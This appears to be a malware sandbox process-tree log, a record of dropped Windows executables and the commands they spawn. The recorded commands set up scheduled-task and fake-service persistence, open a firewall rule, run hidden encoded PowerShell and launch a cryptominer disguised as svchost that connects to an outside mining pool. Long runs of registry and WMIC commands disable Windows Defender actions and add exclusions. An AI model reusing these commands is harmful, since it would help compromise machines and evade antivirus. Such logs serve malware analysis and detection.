C:\Users\Admin\AppData\Local\Temp\33F9.exe
C:\Users\Admin\AppData\Local\Temp\33F9.exe
1⤵
PID:6896

C:\Users\Admin\AppData\Local\Temp\33F9.exe
C:\Users\Admin\AppData\Local\Temp\33F9.exe
2⤵
PID:4344

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\338f293b-7b4c-42aa-8126-1e711100ba86" /deny *S-1-1-0:(OI)(CI)(DE,DC)
3⤵
- Modifies file permissions
PID:8196

C:\Users\Admin\AppData\Local\Temp\33F9.exe
"C:\Users\Admin\AppData\Local\Temp\33F9.exe" --Admin IsNotAutoStart IsNotTask
3⤵
PID:6932

C:\Users\Admin\AppData\Local\Temp\33F9.exe
"C:\Users\Admin\AppData\Local\Temp\33F9.exe" --Admin IsNotAutoStart IsNotTask
4⤵
PID:9012

C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build2.exe
"C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build2.exe"
5⤵
PID:1728

C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build2.exe
"C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build2.exe"
6⤵
PID:7772

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build2.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:1092

C:\Windows\SysWOW64\taskkill.exe
taskkill /im build2.exe /f
8⤵
- Kills process with taskkill
PID:7776

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:7432

C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build3.exe
"C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build3.exe"
5⤵
PID:4668

C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build3.exe
"C:\Users\Admin\AppData\Local\e1615445-2b0d-461f-bbfa-b99c29772db9\build3.exe"
6⤵
PID:6188

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
7⤵
- Creates scheduled task(s)
PID:7960

C:\Users\Admin\AppData\Local\Temp\62AB.exe
C:\Users\Admin\AppData\Local\Temp\62AB.exe
1⤵
PID:1820

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3840

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:7656

C:\Users\Admin\AppData\Local\Temp\9A57.exe
C:\Users\Admin\AppData\Local\Temp\9A57.exe
1⤵
PID:8968

C:\Users\Admin\AppData\Local\Temp\9A57.exe
C:\Users\Admin\AppData\Local\Temp\9A57.exe
2⤵
PID:1960

C:\Users\Admin\AppData\Local\Temp\9A37.exe
C:\Users\Admin\AppData\Local\Temp\9A37.exe
1⤵
PID:8980

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:9104

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding C68FDF61120D2EA87F1CFD4DEA67FBF8 C
2⤵
PID:8724

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 8D8AF592A2BB03222412C4FDC651EEF5
2⤵
PID:8628

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
3⤵
- Kills process with taskkill
PID:8232

C:\Users\Admin\AppData\Local\Temp\AE7C.exe
C:\Users\Admin\AppData\Local\Temp\AE7C.exe
1⤵
PID:7436

C:\Users\Admin\AppData\Local\Temp\AE7C.exe
C:\Users\Admin\AppData\Local\Temp\AE7C.exe
2⤵
PID:8572

C:\Users\Admin\AppData\Local\Temp\DBB7.exe
C:\Users\Admin\AppData\Local\Temp\DBB7.exe
1⤵
PID:5656

C:\Users\Admin\AppData\Local\Temp\EA5E.exe
C:\Users\Admin\AppData\Local\Temp\EA5E.exe
1⤵
PID:8272

C:\Users\Admin\AppData\Local\Temp\2E9.exe
C:\Users\Admin\AppData\Local\Temp\2E9.exe
1⤵
PID:4568

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\2E9.exe"
2⤵
PID:6004

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
3⤵
- Delays execution with timeout.exe
PID:7680

C:\Users\Admin\AppData\Local\Temp\4C57.exe
C:\Users\Admin\AppData\Local\Temp\4C57.exe
1⤵
PID:3028

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hjmlulox\
2⤵
PID:8656

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qvrjhkw.exe" C:\Windows\SysWOW64\hjmlulox\
2⤵
PID:5900

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" create hjmlulox binPath= "C:\Windows\SysWOW64\hjmlulox\qvrjhkw.exe /d\"C:\Users\Admin\AppData\Local\Temp\4C57.exe\"" type= own start= auto DisplayName= "wifi support"
2⤵
PID:7564

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" description hjmlulox "wifi internet conection"
2⤵
PID:8528

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start hjmlulox
2⤵
PID:6212

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
2⤵
PID:8992

C:\Users\Admin\AppData\Local\Temp\5B0D.exe
C:\Users\Admin\AppData\Local\Temp\5B0D.exe
1⤵
PID:4668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:2820

C:\Users\Admin\AppData\Local\Temp\8134.exe
C:\Users\Admin\AppData\Local\Temp\8134.exe
1⤵
- Executes dropped EXE
PID:908

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:412

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:5420

C:\Users\Admin\AppData\Local\Temp\B312.exe
C:\Users\Admin\AppData\Local\Temp\B312.exe
1⤵
PID:5924

C:\Windows\SysWOW64\hjmlulox\qvrjhkw.exe
C:\Windows\SysWOW64\hjmlulox\qvrjhkw.exe /d"C:\Users\Admin\AppData\Local\Temp\4C57.exe"
1⤵
PID:8856

C:\Windows\SysWOW64\svchost.exe
svchost.exe
2⤵
PID:5212

C:\Windows\SysWOW64\svchost.exe
svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
3⤵
PID:8012

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7340

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:4132

C:\Users\Admin\AppData\Local\Temp\D3BB.exe
C:\Users\Admin\AppData\Local\Temp\D3BB.exe
1⤵
PID:5424

C:\Users\Admin\AppData\Local\Temp\E177.exe
C:\Users\Admin\AppData\Local\Temp\E177.exe
1⤵
PID:4944

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\E177.exe"
2⤵
PID:8968

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
3⤵
- Delays execution with timeout.exe
PID:7228

C:\Users\Admin\AppData\Local\Temp\F7EE.exe
C:\Users\Admin\AppData\Local\Temp\F7EE.exe
1⤵
PID:7664

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMgAwAA==
2⤵
PID:4320

C:\Users\Admin\AppData\Local\Temp\F7EE.exe
C:\Users\Admin\AppData\Local\Temp\F7EE.exe
2⤵
PID:9064

C:\Users\Admin\AppData\Local\Temp\1173.exe
C:\Users\Admin\AppData\Local\Temp\1173.exe
1⤵
PID:2184

C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\TkNUdlt.exe
C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\TkNUdlt.exe W8 /site_id 668658 /S
1⤵
PID:6160

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
2⤵
PID:3876

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
3⤵
PID:8880

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
4⤵
PID:8796

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:7624

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:4536

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
3⤵
PID:6304

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
4⤵
PID:2760

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:6280

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:7600

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
2⤵
PID:4632

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
PID:8552

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:8996

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:7896

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:7492

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:1592

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:8076

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:4520

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:4428

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:8996

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:8636

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:9032

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:5900

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:3028

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:8768

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:8728

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:8152

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:8576

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:8508

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:9032

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:7492

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:1592

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:9116

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:7960

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:4492

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:7056

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NMbcPgNClKinC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NMbcPgNClKinC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\STjmdXhOU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\STjmdXhOU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YceypsUXabDXnCzNCPR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YceypsUXabDXnCzNCPR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZHcfdgyasGUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZHcfdgyasGUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gaSWcYIjjvwU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gaSWcYIjjvwU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\QPFeEjmgnBUOfRVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\QPFeEjmgnBUOfRVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nyFjvKGtfVGLAKAU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nyFjvKGtfVGLAKAU\" /t REG_DWORD /d 0 /reg:64;"
2⤵
PID:8828

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:6976

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:7364

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:8892

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\STjmdXhOU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:8456

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\STjmdXhOU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:8836

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YceypsUXabDXnCzNCPR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:9036

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YceypsUXabDXnCzNCPR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:8564

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZHcfdgyasGUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:8496

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZHcfdgyasGUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4320

C:\Windows\SysWOW64\reg.exe
